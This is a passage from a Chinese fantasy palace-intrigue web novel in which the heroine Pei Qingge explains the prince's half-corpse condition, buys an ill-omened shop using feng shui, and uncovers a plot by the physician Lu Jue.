最重要的是,北冥国根本不设军队,只有护国的蛮天一族,十五年前“围北之战”,蛮天一族死了近八成!无奈之下才由圣女出面,以天谴雷劫为代价,传送三国军队出鬼王沙漠到月城! 张之极怎么可能在鬼王沙漠醒来? 裴清歌的手微微握成拳,难道“围北之战”还有什么是她不知道的么? 但这些,即便她现在说给张之极听,张之极大概也是不信的。 顿了顿,她才问,“那些商人,你还记得长什么样么?” 张之极半响后摇了摇头,“太久了,确实不记得了,沙漠里风沙大,他们都蒙着面巾。他们像是在运送什么很重要的货物,虽然带上了我,但也只是让我远远的呆着,不准靠他们太近。” 裴清歌垂眸思索了会,又看向白锦夜,“若整件事本就是西夜国的阴谋,那屠了月城的人,就是西夜国,你们真正的敌人,也是西夜国。” “鬼王沙漠只有一条路可以出入,就是月城外的那条路。其他的路,就算是北冥国自己的人去走,都九死一生。” “如今有人对你下手,八成也是为了月城这条路。” 说完她晃了晃手里的瓷瓶,“这水不能再喝了。” 张之极颓然地坐在椅子上,满脸悲怆,“竟是我……害死了张家的人,上百口人……竟都是我自己害死的……” “外公,是有人故意给了你错误的引导,你也别太自责。”白锦夜沉默了下,开口安慰。 “是我,是我害得你母妃生不如死,将来你甚至也要走同样的路,是我!”张之极的情绪激动起来,捶打着自己的胸口,“该死是我,最该死的是我!” “外公!”白锦夜按住他的手,“外公,该死的不是你,也不是母妃和我,更不是张家人,而是害我们的人,我们得一起把他们找出来,给张家人报仇。” “是,是。”张之极的手紧紧地握成拳,“一个都不能放过!” * 白锦夜不放心张之极一个人回府,就让他留在了王府歇息。 把他送到卧房,白锦夜往九思院走,只是刚走了一段,一阵冷意就从胸口开始蔓延到四肢百骸。 他失去意识之前,似乎看见皮肤上的各处符咒花纹在闪闪发光。 等他醒来的时候,天已经亮了,而他躺在九思院的床上。 他举起自己的手,皮肤上毫无异样,没有像张太妃那样青筋暴起,但裴清歌画的那些花纹也依旧看不见。 所以那些是符咒可以禁锢他,让他不会发狂么? 正想着,左辞端了水盆走进来,“王爷,你醒了,感觉好些了么?” “嗯。”白锦夜起了身。 “昨晚你可吓死属下了,怎么走着走着路就突然晕了?好在王妃说你睡一觉就没事了,还真是!”左辞一脸的开心,“王妃可真神啊,昨天王爷伤得那么重,晚上就能和张将军一起小酌,今天都活蹦乱跳了。” 白锦夜洗了脸,隔了会才问,“她还说什么了?” “她还说你身体虚,要早睡早起,最好子时之前就入睡,不然说不定哪天还要晕。”左辞说着又有点纠结,“我本来想让王妃给你开个滋补的方子来着,但是她说之前给你开过,想吃就按照那个吃,不想吃也不用吃。” 白锦夜也没说话,这话差不多就是说,吃什么也没用,毕竟药是给人吃的,他现在……还算是活人么? 他看着镜子里的自己,白天确实和常人无异,只是晚上…… “对了,王妃还说让把院子里的那些碎石都送到她院子里去。”左辞继续说道,事实上,他怀疑王妃根本就是忘了这回事,要不是昨晚他“顺便”问一嘴,那些碎石说不定能在九思院里呆到明年。 白锦夜点点头。 “还有,睢园和雅园是不是该重新修建下了?”左辞又问。 “你看着办吧。”顿了顿,白锦夜又补充,“简单重建就行,过段时间说不定就回月城了。” 左辞知道王爷不是乱花钱的人,但还是小心翼翼地问,“那玲珑阁……” 白锦夜看了他一眼,“一起重建吧。” “好。”左辞点点头,沉默了片刻,接着问,“是不是把梧桐院也重修下?王妃住在那实在太简陋了。” “嗯。”白锦夜应了一声。 左辞从怀里把昨天白锦夜交给他的信拿出来,“王爷,这信是不是也可以收回了?” “烧了吧。”白锦夜瞥了一眼。 左辞烧了信,觉得王爷今天心情还不错,于是蹬鼻子上脸,“王爷,梧桐院修葺期间,要不要让王妃搬到九思院来住啊?” 第53章 非妖邪之术不能办到 白锦夜一脚踹在左辞的屁股上,“你搬来九思院住好不好?” “王爷愿意的话,属下随时都可以来。”左辞顿了顿才说,“不过属下也就是这么一说,属下愿意来,王妃可不一定愿意来。” 正说着话,门房来通传,说岐风王来了。 白锦夜和左辞到前堂的时候,就见白风御和裴清歌正聊着。 白风御午时就要启程,他一是来辞行,此外也是跟裴清歌敲定生意的事。 为了方便联络,他把下属钟栖留了下来,给裴清歌帮忙。 有人帮自己办事,她求之不得。 况且白风御还说了,钟栖是一等一的高手,有他在,一般人也欺负不了裴清歌,更不敢找他们生意的麻烦。 两人有来有往的说了半响,才想起堂上还有个白锦夜。 白风御轻咳了一声,对着白锦夜拱了拱手,“八皇弟,昨天宫里的事我也听说了,若是可以,你还是尽早回幽州吧,到时候天高地阔,咱们也可以时常多走动走动。”说完又看向裴清歌,“生意在哪都一样做,只不过不知道你这京城长大的姑娘,能不能习惯幽州的生活。” 裴清歌是无所谓的,毕竟将来回北冥国,还是要从月城走,如果去了幽州,到时候会更方便些,“你记得介绍生意过来就好。” “没问题。”白风御信誓旦旦。 裴清歌也就起了身,白风御这时候来辞行,定是有什么话要跟白锦夜说,她在这里也不方便,“你们聊吧,我还给我娘熬着药呢。” 她倒是没有撒谎,确实是在给裴夫人熬药。 裴夫人喝了药,又吃了蜜饯,待嘴里的苦味散去了,才对着裴清歌说,“清歌,这几日我想好了,打算与你爹和离。” 裴清歌微怔了一下,倒也没问原因,“你想做的,我都支持。” 裴夫人点点头,本想跟裴清歌解释多少要费些口舌。 她在王府住了这些日子,按说裴靖早就该派人来接她回去了,可不只是没人来接,甚至问都没人问。 前些年,她和裴清歌在裴府里,又何曾真的被当做裴家了?她为了裴清歌忍气吞声,只希望裴靖看在自己亲女儿的份上,能给寻觅一门良缘。 不求富贵,但求对裴清歌好。 不然她一个人带着裴清歌,没有裴靖做靠山,裴清歌更难寻得良人。 但裴靖真的为裴清歌考虑过么? 如今这样,倒不如断的一干二净! “我今日已经让左辞帮忙给你外公去信说明一切了,你外公是个开明的人,不会不同意,待你外公回了信,我就给裴靖送和离书。”裴夫人继续道。 裴清歌点点头,想了想才说,“既然这样,我就先让人在外面看看宅子,你暂时以养伤为名住在这,可也不能常住。买个宅子,你住过去,我也有娘家可以回了。” 裴夫人微微红了眼,她下意识地看了看张太妃的方向,这京城谁不知道张家的事? 裴清歌是绝对干不出抢妹妹婚事的事情的,这八成是裴玲珑不想嫁,不想守寡,就诓骗了裴清歌。 这事要是没有裴靖帮忙也绝对做不成! 只可怜她的女儿…… 裴夫人吸了口气,只说,“嗯,到时候回来住,想住多久住多久。”顿了顿才低声说,“若是……你也想和离,娘也支持你。” 裴清歌笑了笑,其实这婚事于她而言,并没有什么束缚。 她只是需要一个地方作掩护,恢复实力,查一查坑害她的人,查一查和月如……甚至于,现在可能也要再查一查“围北之战”了。 她想着又下意识地摸了摸肩头血莲的位置,还有血莲护主的事,她也从未在任何典籍上见过,也没有听师父说过。 师父给她讲过很多任圣女与敌人作战的事情,但无论多么危急的情况,即便命悬一线,也都没听说有血莲护主攻击敌人。 这么重要的事情,师父不该遗落才是。 要么就是这一点,可能连师父自己都不知道。 裴清歌无声地叹了口气,需要做的事情还太多。 * 午后,陆绝来了九思院。 “看起来王爷已经无事了。”他站在进了门的不远处,身上带着几丝疏离。 白锦夜抬眼看他,“昨日的事,左辞已经跟本王说了。” “我正是来辞行的。”陆绝点头,“王妃医术高超,我没必要再留在王府了。” 白锦夜沉默了会,把桌上的木匣往前推了推,“你在王府三年,帮了本王很多。” 陆绝看着木匣里厚厚的一沓银票,掀着嘴角嗤笑了一声,“王爷觉得我在王府,是为了钱?” 白锦夜摇了摇头,“当年,是本王找上你师父,此后你便跟在本王身边。但是,陆绝,你学医术应该像你的师父一样,悬壶济世,而不是呆在王府,困了你一生。” 陆绝眼底闪过一抹晦涩,半响才说,“也是,这几年我没有功劳也有苦劳,这确实也该是我应得的。”他说完上前拿了木匣,转身要离开。 “若是本王出口留你,你是不是会心里好过些?”白锦夜看着陆绝的背影,开口问道。 “不敢。”陆绝的脚步顿了顿,又转身看向白锦夜,“不过,我也奉劝王爷一句。”他说着停了下,半响才开口,“王爷昨天受了多重的伤,王爷自己心里清楚,短短几个时辰,就与常人无异,怕只有妖邪之术才能办到。” “裴清歌一身本事怪异,此人不该留。” 他说完看着白锦夜的脸色停顿了片刻,最后只是说,“既然王爷心意已决,还望王爷日后多加留心,小心为上。” 白锦夜自然心知肚明,本来陆绝完全可以留在王府。 但陆绝毕竟是个大夫,他身上的异常早晚都瞒不过他。 这种事被其他人知道了,无异于徒增烦恼。 况且陆绝离开王府,天高地阔,大有作为。 “陆绝,肃亲王府于你,永远是个归处。” 陆绝对着白锦夜作了个揖,转身走了。 他走出王府的时候,正好碰上左辞和裴清歌一起出府。 左辞脚步顿了下,看着陆神医抱拳开口道,“陆神医,昨日之事,我在这里给你赔罪了。” “不必。”陆绝瞥了裴清歌一眼,又看向左辞,“你愿意听信别人的鬼话,与我无关,你好自为之就是。” 左辞挠了挠头,好歹大家也相处这么久了,没必要这么小心眼吧? 裴清歌眼底带上一抹笑,“陆神医,这就要离开王府了?” “道不同不相为谋。”陆绝冷哼一声。 裴清歌笑容更盛,“是啊,悬壶济世本是积德的好事,但是……陆神医,我劝你多多向善,不然只会自食恶果。” “胡言乱语。”陆绝拧了下眉,转身大步走了。 左辞有些诧异地看了看裴清歌,“王妃,陆神医怎么了?” “贪从心中起,恶向胆边生。”裴清歌说着顿了顿,“不过跟我们没关系了,希望他自求多福吧。” 第54章 阴财地 左辞是陪裴清歌去看摊位的。 裴清歌本来就想在巷子口的柳树下摆个摊位算了,那里风水确实不错,利财。 但左辞觉得—— 岐风王也不差钱,没必要。 于是裴清歌就走走停停,最后在一个门可罗雀的店面前停下了。 左辞左右看了看,这店面位于京城偏东的位置,普宁街和平遥路的交叉口,这里人烟稀少,再往东,就是京城各府的别院了,“王妃,这里合适么?” 裴清歌没说话,抬头看了看日头,从袖口拿出一张纸,手一挥,纸就着了火。 烟和纸灰无风自动,都往那店的方向飘去。 左辞看着啧啧称奇,“王妃,这是怎么回事?” “难得的阴财地。”裴清歌说着顿了顿,“也不知道这老板怎么这么倒霉,在这里开店。”她抬手指了指这一片,“你看这个路口,清明鬼节肯定有不少人在这里烧纸,这些纸全都会忘他的店里刮去。” “有这么多死人钱,来领钱的主、又或是抢钱的孤魂野鬼定然也不少,那肯定会影响老板的运气,赚不到钱不说,时间久了身体也会出问题。” “那咱们快躲远点吧。”左辞一听,就觉得这里晦气。 裴清歌摇了摇头,“但对我们来说,可是好地方,稍稍改动一番,不仅不会影响活人,还会生财。” “再说,你看这里挨着京城别院,这些别院一年到头都住不上几次,房子空久了,就容易出问题,咱们在这里开店,生意不会少的。” “走,去问问店卖不卖。” 进了门,不知道是不是之前听了裴清歌的话,左辞总觉得这店里阴风阵阵凉飕飕的。 掌柜的靠在椅子里,睡得直说梦话,“我的钱,是我的钱,别抢,你们这些人怎么跑到我店里抢钱,我要报官!” 这梦话简直就像是在印证裴清歌刚才的话,左辞头皮都有点发麻,他轻咳了一声,上前敲了敲桌子,“掌柜的?” 掌柜的猛地睁开眼睛,喘了口粗气,一脸心有余悸的模样,半响才意识到是有客人,赶紧站起身,“客官,来买字画?” 裴清歌四下打量了一圈,才问,“掌柜的,你这店里,就你一个人?” 掌柜的苦笑了声,“你看我这生意也不好,怎么雇得起伙计?” 裴清歌点点头,“生意不好,考虑卖店么?” 掌柜的脸色有点古怪,“你们想要盘下这家店?” 裴清歌应了声,又问,“有这个想法,看看掌柜的你卖不卖。” “这街上的店面不少,姑娘怎么就看上我这家了?”掌柜的没说卖,也没说不卖。 “合眼缘。”裴清歌笑了笑,“老板若是不卖,就算了。” “我这生意虽然不好,但这店传到我已经三代了,若是卖了,岂不成不肖子孙了?”掌柜的摇了摇头,叹了口气。 裴清歌倒也不勉强,只是说,“掌柜的,依我看,你这店,初一十五最好别开门,若想继续开下去,要请几个年轻力壮的伙计。” “不要在店里过夜,天黑之前一定要离店,平时也不要在店里睡觉。” 她说着顿了顿,“也别再让你媳妇儿来店里,不然肚子里的这个孩子还是留不住。” 说完,她就带着左辞往外走。 掌柜的怔了半响,赶紧追出去,“姑娘,姑娘留步。” 裴清歌的脚步停下来,转头看他,“言尽于此,你再考虑下,若是决定卖店,就来肃亲王府找左总管。” 掌柜的看着裴清歌和左辞一前一后地走远,脸上的表情复杂,站了会,迅速的关了店门,一路小跑着往家走。 见裴清歌打算回府,左辞忍不住问,“王妃,不再看看么?多看几处,万一那掌柜的不卖,到时候也有个挑选。” “他会卖的。”裴清歌笑了笑,“就算不为别的考虑,也得为他的孩子考虑,那里阴气重,他媳妇儿经常过去,胎肯定是留不住的,等几天吧。” 两人溜溜达达的往回走,并没有注意到不远处的一个巷子里陆绝正在跟一个白袍人说话。 “你擅自离开肃亲王府,主子要你给个交代。”白袍人的声音阴沉,袍子宽大,整张脸都掩在帽子下面,但从身形上能分辨出是个年轻女子。 “你以为是我想离开么?”陆绝说着顿了顿,“不知为何,最近我没办法再控制白锦夜,我说的话,他已经完全不听了,甚至裴清歌都开始怀疑我了。” “裴清歌刚到王府的时候,主子就让你下手除了她,若不是拖了这么久,也不会出这样的变故。”白袍人语气里带着几分责备,“裴玲珑明显比裴清歌更好拿捏。” “开始我以为她能为我们所用……”陆绝说着顿了顿,“况且我也多次暗示白锦夜这个人不能留,那段时间他确实听我的话,和裴清歌水火不容。可后来白锦夜和裴清歌单独见过几次,我对他的控制就越来越弱。” 两个人沉默了会,半响后,陆绝才又说,“让主子放心,我会想办法再回肃亲王府的,肃亲王还有用得着我的地方。” “不必了。”白袍人抬手制止,“主子让你想办法接近衡王。” “衡王?”陆绝皱起眉头,“可衡王手上没有兵权,又不在朝中为官,接近他能做什么?” “他不做官,是他不愿意,以太后对他的宠爱,想做个官很难么?”白袍人提醒道。 “太后……”陆绝轻轻地吐出两个字,明白了什么,想接近太后不容易,但是接近衡王,再控制太后,就容易得很了。 “肃亲王府那边,主子已经另有安排,你不必再插手。”说完白袍人纵深一跃,掠上屋顶,很快人就不见了。 陆绝看着白袍人离开的方向微微眯了眯眼,他在肃亲王府布局这么久,要不是有裴清歌搅局,眼见着就可以收网了。 如今临门一脚,他可不会把功劳拱手于人! 第55章 云家的女儿,依旧有云家做靠山 几日后,云启元的孙子云止风尘仆仆的从洪都赶到了盛京。 没来得及歇脚,就直奔肃亲王府。 因为是来见裴夫人,下人就把他引到了偏厅。 裴清歌陪着裴夫人一起往前院走,走到偏厅外,便见门口的石凳上坐着一个抱着一只小兔子的十八九岁青年。 “娘,你先进去吧。”裴清歌知道云止来,肯定是因为之前裴夫人的那封信,说不定云启元有什么话要带给裴夫人,她最好还是先回避下。 裴夫人点点头,先进了偏厅。 裴清歌走到那青年身前站定,“你的兔子受了伤?” “是啊。”那青年抬头看着裴清歌,脸上带着几丝忧愁,“我在城外发现的这只小兔子,它的腿好像被什么咬伤了,跑不了。我本来想带它去看大夫,但云止大哥说有急事,我只能先跟他来王府。” 裴清歌在石凳的一边坐下,“我会些医术,我来看看吧。” 青年把小兔子轻轻地放到裴清歌的怀里。 裴清歌一边低头查看小兔子的伤,一边问,“你和云公子一起从洪都来的?” “是。”青年点点头,“我叫白墨,这几年在云家求学,老师说我已经可以出师了,正好云止大哥要来盛京,老师就让我跟着他一起回来。” 白墨……原来是九皇子,“你师从前丞相?” “哪有?我才疏学浅,哪有师从前丞相的福气。”白墨挠了挠头,“是云止大哥的父亲,云阁,云先生。” 裴清歌了然,云启元是三朝丞相,这天风国无数的朝臣都是云启元的门生,云氏一族赫然成了天风国第一家族,又出了云月宁这个皇后。 云启元在任时便不准云家其他人入仕,他致仕之后,便带着云家人离开了盛京,回到老家洪都,但依旧有不少人慕名而去,拜师在云家人门下。 九皇子去拜师倒也不足为奇。 “它这伤倒是不重。”裴清歌洒了些药粉,有用手帕包好,把小兔子重新放回白墨的腿上,“你好好照顾它,三五日就好了。” “真的么?”白墨一脸的惊喜,“你可真厉害。” 裴清歌这才站起身,往偏厅走。 白墨正低头看着小兔子腿上包扎的手帕,一抬头才发现裴清歌已经离开了,脸上有些懊恼,“糟了,忘了道谢,也忘了问怎么称呼。” 裴清歌进门的时候,云止正在喝茶,裴夫人刚看完了云启元给她的信,脸上的表情很是轻松,看样子云启元是已经同意了和离的事情。 “阿止,辛苦你跑一趟了。”裴夫人收起信,开口道。 “姑姑客气了,本来外公也允许我入秋后上京谋一份差事,给姑姑送信,只是提前启程。”云止放下茶杯开口道。 裴夫人当然知道事实并非云止说的这样,收到信后,云启元该是让云止快马加鞭而来,否则哪有这么快就把信送到?“父亲准许你入仕了?” “外公说但凭本事。”云止笑道,顿了顿才又说,“云家老宅这几年只有下人打理,一会我回去看看有没有哪里需要修葺,到时姑姑可回家来住。” 裴夫人轻轻叹了一口气,此番父亲准许云止回京,大概也就是要给世人看看,云家不愿在天风国一家独大,虽离京多年,但云家不是没了! 云家这些嫁出去的女儿,依旧有云家做着靠山! 云家老宅就在普宁街隔壁的洪武街上,差不多就在肃亲王府和裴清歌看中的店面的中间位置,听云止这么一说,裴清歌心里也是一喜,“那这样就太好了,我还担心娘一个人住呢。” 云止朝裴清歌看过来,眉间隐隐地闪过一抹不悦。 三年前,本是云家的大喜事,可裴清歌却偏偏闹得云家脸都丢尽了。 虽然外公说裴夫人教出来的女儿不会做这样的事,但外人又怎么会相信? 云止站起身,行了半礼,“见过肃亲王妃。” 无论是态度还是语气,都带了几丝疏离。 裴清歌倒也不介意,云家为了裴夫人的事,派了嫡长孙亲自送信回京安排,就足以证明云家还是在乎裴夫人的,这就足够了。 将来就算是她回了北冥国,也不用担心裴夫人在京中的生活。 “姑姑,我初回京,还有不少事要安排,若是您不急于这一时,可以等我安排好这些事后,再商议和离的事情。”云止又看向裴夫人,“时候不早了……” 他的话还没说完,门口就传来白墨叫皇兄的声音,他微微皱了下眉,本不想和白锦夜碰上,毕竟刚回京,没必要和任何势力走得太近。 可这样一来,就不得不碰个面了。 白锦夜到了,他们也只能出门相迎。 看到云止,白锦夜也微微有些诧异,他刚从外面回来,只听门房说九皇子回京了,就想着过来看看,“本王还想九皇弟怎么突然回京了,原来是和云公子一起回来的。” 白墨的母亲只是个宫女,趁着先皇醉酒,爬了先皇的龙床。 龙颜大怒,却偏偏有了龙子。 生下白墨之后,那宫女被送进冷宫,没几年就死了,至死也没有个名分。 宫中的各位娘娘都嫌弃白墨母亲所为,更觉得白墨出身低贱,没人愿意养着。 就像所有的娘娘都害怕白锦夜突然像他的母妃一样疯了,也没人愿意照顾他一样。 兄弟两个倒是一起过了不少看人脸色的日子。 所以在众皇子之中,白锦夜与白墨之间的关系要更亲近一些。 云止问安后才解释,“因有家书送给姑姑,没想叨扰王爷,所以没有向王爷通报。” 白锦夜点点头,自然明白云止的顾虑,也没与他多说话,只是看向白墨,“你刚回京,还没有住处吧?不如先住在王府。” “可以么?”白墨眼睛一亮,白锦夜当年去幽州之后,他就在云家呆了几年,突然回京,确实不知道去哪,本来打算跟着云止蹭一蹭,现在能住在白锦夜这当然更好了! “裴夫人、云公子请便。”白锦夜微微示意了下,准备离开,迈了一步,犹豫了会,才看向裴清歌,“你若是没什么事,本王有些问题想请教。” 第56章 这世上,只有我一个人会这本事 “好,我晚点去找你。”裴清歌点点头,这几天,白锦夜对自己的身体状况多少应该有些了解了,那肯定就会有疑问。 白锦夜没再说话,带着白墨走了。 云止也就告辞,匆匆离开了。 裴清歌陪着裴夫人往梧桐院走,裴夫人的眼底有些纠结,但隔了一会还是开口问,“清歌,你和王爷这事,你跟娘说实话,你到底是怎么想的。” 这些日子,裴清歌都跟她住在梧桐院,这梧桐院明显就在王府的角落,偏僻又破旧。 而且院子里,也就只有桑榆一个丫鬟。 况且看刚刚白锦夜的态度,也不算多热络。 这婚事来的莫名其妙,但裴清歌的一辈子也不能这么被耽搁掉。 裴清歌垂眸笑了笑,“娘,我没想太多,我只是觉得,现在在王府过得也算舒坦。王爷不怎么管我,王府里人际关系也简单,现在左总管对我不错,张太妃也在这,没什么人来找我麻烦,我想做点什么就做点什么。” 她说着又顿了顿,“咱们也不一定非要靠别人才能活着,靠自己一样可以活得很好。” “过些日子,我打算做点小生意,赚些钱,将来就算离开王府,也有底气。” 说到这,裴夫人的脸色微微难看,当时圣旨赐婚后,走三书六礼,白锦夜送了很多聘礼去裴家,裴家也就张罗着给裴玲珑凑了不少嫁妆。 可大婚第二日,白锦夜把裴玲珑送回裴府的时候,那些嫁妆也跟着一并送回来了。 也就是说,裴清歌其实没有一点嫁妆,什么都没从裴家带过来。 她的袖中的手握了握拳,才说,“等和离的时候,我就把我的嫁妆都带出来,到时候留给你。” 裴清歌不在意这个,她还想着多赚些钱,等走的时候留给裴夫人,让裴夫人有钱傍身,也算是她替原主尽了孝心了。 把裴夫人送回去,又陪她聊了会,裴清歌才去九思院找白锦夜。 哪知道九思院的下人说白锦夜在书房,她又只能往书房走。 左辞候在书房外,见她来了,就赶紧给开了门。 裴清歌倒是没想到,自己这么容易的就进了白锦夜的书房,要是裴玲珑知道了,估计要气吐血了。 隔着方桌坐下,白锦夜微微清了下嗓子,甚至破天荒的给裴清歌倒了杯茶,才说,“有关于本王和母妃的情况,你可否详细的说下。” 最开始他不信裴清歌,没什么耐心听她说话。 等后来,也没什么机会好好听她说。 裴清歌倒是没有急于说这些,先是开口问,“那水,你是什么时候喝的?” “水是外公十五年前带回来的,因为母妃当时正得圣宠,见外公喝了之后皮肤变得更好、人也更显年轻,所以母妃喝得最多,甚至带回了一小坛,每日喝一小杯。” “可能也是因为这个,母妃病发最早。其他人虽然喝得少,但病发后没多久就都去世了。” “本王当时也算是父皇最喜爱的皇子,吃喝都有专门的人负责,所以一开始本王也没有喝那水。一直到七年前,本王要去幽州之前,外公给本王带了一小瓶。” 说到这,白锦夜微微皱了下眉,“喝它是三年前,本王受了一次重伤,昏迷不醒,陆绝和左辞他们商议之下,给本王喝了。” 裴清歌用指尖轻轻地叩着桌面,圣湖水如玉如凝脂,无论存放多久,都依旧如故。 而且依据每个人的体质不同,能吸收的圣湖水药力也不同。 就算圣女炼制肉尸,也是每日喂食一些,逐步达到极限。 所以张太妃是歪打正着才成了肉尸,又有锁魂玉笛保住生气。 其他人的运气就没这么好了,只喝了一点圣湖水,成不了肉尸,药力反噬,就死了。 至于白锦夜……裴清歌打量着他,常人只喝了一次圣湖水,不可能三年之后才会有尸化的趋势,除非这三年还有别的事情发生。 顿了顿,她才问,“陆绝跟了你很多年了?” 白锦夜想了会,“三年半左右,当时本王听说他师父游历到安邑,那里离月城不远,本王就专门去拜访。正好陆绝出师,他师父也没听过母妃的情况,就让陆绝跟着本王,看看有没有办法医治。” 这还真是有点巧了,裴清歌微微挑了下眉,才解释,“你和张太妃的情况不太一样。” “楚……睢园的那位,我把解药给他,他已经答应了,等回了北冥国,会想办法托人送医治张太妃的药来,到时候,张太妃有八成的希望恢复。” “至于你,不知道你有没有印象闻到过或者吃到过有异香的东西,你身体里的药力被催化过,不像张太妃那样是自然发展,所以目前的情况对你来说,已经是最好的了。” 白锦夜的手微微握了握拳,“你说……母妃的那种叫肉尸,那本王呢?” 裴清歌嘴角含笑,“你确定你想知道?” “本王总得知道,本王现在到底算什么,是人还是……”白锦夜说着停了下来,后半句没有再说出来。 “肉尸没有思维,没有意识,可以被任何有方法的人控制。”裴清歌看着他,“但肉尸有一点好处,就是可以逆转,也就是说,成了肉尸的人,还有可能变回人。” “你现在……算是半个人外加半个未被炼化的冥尸,白天确实是人,过你正常该过的生活,享受你没完的寿元。” “等寿元到了,如果不炼化,就会像正常人一样死去。如果被彻底炼化成冥尸……” 裴清歌想了会,简单的说,“冥尸看起来也和常人没什么区别,会有自己的思维和意识,只能被炼化冥尸的人控制,但是不能逆转。” “我想你大概也不愿意被我控制,所以也没打算炼化你。之前在你身上画的那些法阵和符咒,是为了不让你发狂,也不让别人发现你身上失去了活人的气息。” 白锦夜凝眸看了裴清歌半响,又问,“你见过冥尸?” 裴清歌点点头。 他眉心慢慢蹙在一起,“若是别人发现了,也能炼化……本王?” “放心吧,不能。”裴清歌笑道,“这世上,只有我一个人会这本事。”说完她站起身,“王爷还有别的问题么?” 白锦夜沉默了会,最后问,“本王还能活多久?” 第57章 就先赚他个六千两 “这种事情知道了只会徒增烦恼。”裴清歌笑了笑,没有回答。 白锦夜仰头看她,“本王十五岁上战场,就从来没怕过死。” “既然如此。”裴清歌说着顿了下,“那就把每天都当成最后一天过,不也挺好么?王爷上战场,每一次也应该都做了下不来战场的打算吧?有什么区别么?”说完她转身离开了书房。 白锦夜一个人坐在桌边,低声重复了一边裴清歌的话,“把每一天当做最后一天来过……” 裴清歌出了门,就招招手,示意左辞跟上来,“你偷偷派个人,去看看陆绝离开王府之后都见过谁,做了什么。” 左辞先是点了点头,才问,“王妃,你不是怀疑陆神医吧?他救过不少军中兄弟,而且王爷……” 裴清歌摆了摆手,“有些事不能只看表面。你家王爷中蛊的那一次,他明明抓到了蛊虫,却还是让蛊虫跑了,当时我和你们不熟,也没想那么多。” “但是前几天,你家王爷命悬一线的时候,以他神医之名,就算救不了王爷,也能让王爷短暂的苏醒,回光返照,起码交代些后事。他虽然在施针,可那几个穴位,有点用处但不多。” “你可以说他没见过蛊虫,也可以说当时王爷情况危急,他一时慌了神,但……这王府里什么时候有事他不是第一个到?可那天我让你去睢园找人的时候,他在睢园么?王爷在梧桐院出了事,他又是什么时候才来?” 说到这,左辞才意识到,陆绝平时也住在睢园,但那天他去睢园的时候,陆绝确实不在。 “偷偷的,别让你家王爷知道。”裴清歌说完,就离开了书房的院子。 左辞刚站了会,就听白锦夜叫他,他赶紧进了书房。 白锦夜递给他一张纸,“这张单子上的人,你逐一去查,看看他们之间有没有关系。” 左辞接过纸,看着上面的十几个名字一愣,前面几个便是陆绝,裴玲珑,和月如,高嬷嬷…… 王爷和王妃,刚才好像聊了什么了不得的事啊! “是。”左辞应了声,把纸单小心翼翼地收好,退了出去。 白锦夜微微眯了眯眼,刚才裴清歌说他身体里的药力被催化过,能催化的东西,又是有些异香的。 他细细的回忆了这三年里,他见过的、曾在对方身上闻到过与众不同的香气的人,以及能接触到他吃的喝的的人。 这其中总能查出来些端倪。 左辞离开后,白锦夜的目光才落在桌上刚刚他给裴清歌倒的那杯茶上,裴清歌动也没动一下。 他心里有一种怪异的感觉,感觉不管是他对裴清歌态度恶劣也好,态度缓和也好,她好像都是一个反应,没什么太多的情绪起伏。 白锦夜也说不太清楚这是什么感觉。 他微微皱了下眉头,从茶杯上收回目光,起身出门去了城外军营。 * 第二天一大早,字画店的老板就来了王府。 左辞按照裴清歌交代的,跟他商议了下,就迅速的来通传,他说那老板同意卖店了。 不过说到价钱,左辞一脸为难,“但是他开价六千两。” “六千两?他怎么不去抢?”裴清歌都震惊了。 就算是人气最旺的正阳街上位置最好的店面,最多也就一千多两,他那店偏僻又没有人气,怎么敢开价六千两? “他说他卖了店,那些字画也要一起卖掉,他这几天估算了店里的字画,说……六千两都已经是便宜卖给我们,那些字画他们祖孙三代传下来,有不少几百年的佳品。”左辞解释道。 裴清歌这下为难了,天风国一两金可以折算二十两白银,岐风王的卦钱除了分给左辞的,还剩下四十五两金,也就是九百两白银,她本打算五百两左右盘个店,剩下的装修店面。 她皱了下眉,“不如你问问他,我们可以帮他代买字画,不收费,卖多少都给他,我们只买店行不行?” 而且打心底说句实话,裴清歌也看不上这几百年的“佳品”,她在北冥国,就算是茅房里挂的画大概都有上千年的历史了。 这几百年的字画,在北冥国都是烂大街的。 “属下问了。”左辞叹了口气,“他说卖了店,卖了字画,他就准备回老家了,所以想直接把钱拿走。”顿了片刻,他才低声道,“他可能是以为王爷要买店,王爷毕竟……多少还有点钱。” 说着他小心翼翼地看了看裴清歌,“要不要跟王爷先拿点钱?” “不行。”裴清歌拒绝,“我要自己做生意,就是不想花王府的钱,要是本钱从王府拿了,那这生意算谁的?” 左辞有些尴尬地笑了笑,“王妃,那就是把属下卖了,属下的家当也凑不上六千两。要不,属下去找司空问问,找几个人凑一凑?” 裴清歌想了会,“不用,不就是六千两?你跟掌柜的说,让他准备好,十天之后,我们就拿着钱去收店。” 左辞一脸的惊讶,“王妃,你没开玩笑吧?” “没有,但是你跟他说,我们要先借他店门外的空地用用。”裴清歌微微眯了眯眼,“咱们就十天先赚个六千两。” 左辞心想,要是碰上岐风王那样的冤大头,有六个也就赚到了。 可这世上像是岐风王那样的冤大头又有几个呢? “王妃,那属下可去跟他说了?” “去吧。”裴清歌点点头。 “属下真去了?”左辞脸上带着几丝纠结。 裴清歌看着他,“你怀疑我赚不到六千两?” “没有,没有。”左辞干笑了两声,一边往外走,一边想,他还是得再做个打算,先找司空他们凑点钱,不行就让钟栖去找岐风王要钱。 再不济,就偷偷跟王爷说,开王府库房拿钱但是不告诉裴清歌不就行了? 裴清歌撑着下巴,她要做生意,最好也别顶着肃亲王妃的名头。 脸可以易容、可以戴面纱,暂时都好办,不过这瘸了的腿,现在确实有点麻烦。 都是说因为三年前洪都的时候,是裴靖打断了原主的一条腿,因为医治不及时才会瘸了。 可她之前检查过,这腿骨一点问题都没有。 而且在原主也没有任何关于腿瘸的记忆。 裴清歌一边思考一边无意识地轻轻地捏着膝盖,蓦地,她的手指微微僵了一下—— 膝盖骨的缝隙里好像有什么东西! 第58章 大笔断阴阳,狼毫斩五行 裴清歌让桑榆守在门口,回了房间坐在榻上。 施了针止痛,然后用刀沿着骨缝慢慢地割开皮肉。 在骨缝里,竟有一片指甲大小的虚空玉。 裴清歌微微皱了下眉,把虚空玉取出,包扎好伤口。 她仔细地擦拭掉虚空玉上的血迹,是谁把这东西放在原主的骨缝里的? 正奇怪着,脑海里突然一阵刺痛,一段以前没有过的记忆涌出来。 三年前,原主同家人一起去洪都给云启元祝寿。 一日午后,她见到裴玲珑鬼鬼祟祟的出府,就带着丫鬟跟了去。 